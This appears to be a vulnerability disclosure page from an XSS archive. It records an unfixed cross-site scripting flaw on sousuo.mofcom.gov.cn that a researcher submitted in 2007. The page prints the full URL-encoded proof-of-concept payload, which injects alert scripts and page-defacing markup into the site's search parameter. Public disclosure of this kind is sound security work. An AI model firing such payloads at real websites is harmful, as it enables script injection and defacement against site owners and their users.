sousuo.mofcom.gov.cn cross-site-scripting (XSS) Vulnerability

Security researcher kaksii, has submitted on 14/11/2007 a cross-site-scripting (XSS) vulnerability affecting sousuo.mofcom.gov.cn, which at the time of submission ranked 6598 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 21/11/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Date submitted: 14/11/2007

Date published: 21/11/2007

Fixed? Mail us!

Status:

UNFIXED

Author: kaksii

Domain: sousuo.mofcom.gov.cn

Category: XSS

Pagerank: 6598

URL: http://sousuo.mofcom.gov.cn/query/englishQuerySearch.jsp?pageNo=&p_keyword=%22%3E%3Cscript%3Ealert%2
81%29%3C%2Fscript%3E%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22kaksii_was_here%22%29%3Cscript%3Ealert%2
8%27kaksii_was_here%27%29%3Balert%281%29%3C%2Fscript%3E%22%3C%2Fhtml%3E%3Chtml%3E%3Cscript%3Ealert%2
810111%29%3C%2Fscript%3E%3Cdiv%2520align%3Dcenter%3E%2520%3Cfont%2520size%3D4%3E%3Ctextarea%2520name
%3D1%2520cols%3D1000%2520rows%3D1000%2520id%3D1%3Ekaksii%2520was%2520here%3C%2Ftextarea%3E%3C%2Ffont
%3E%3C%2Fdiv%3E%3Cnoscript%3E%3Cplaintext%3E

Click here to view the mirror

XSS Attacks
Cross Site Scripting Exploits and Defense

Website Fraud Loss Prevention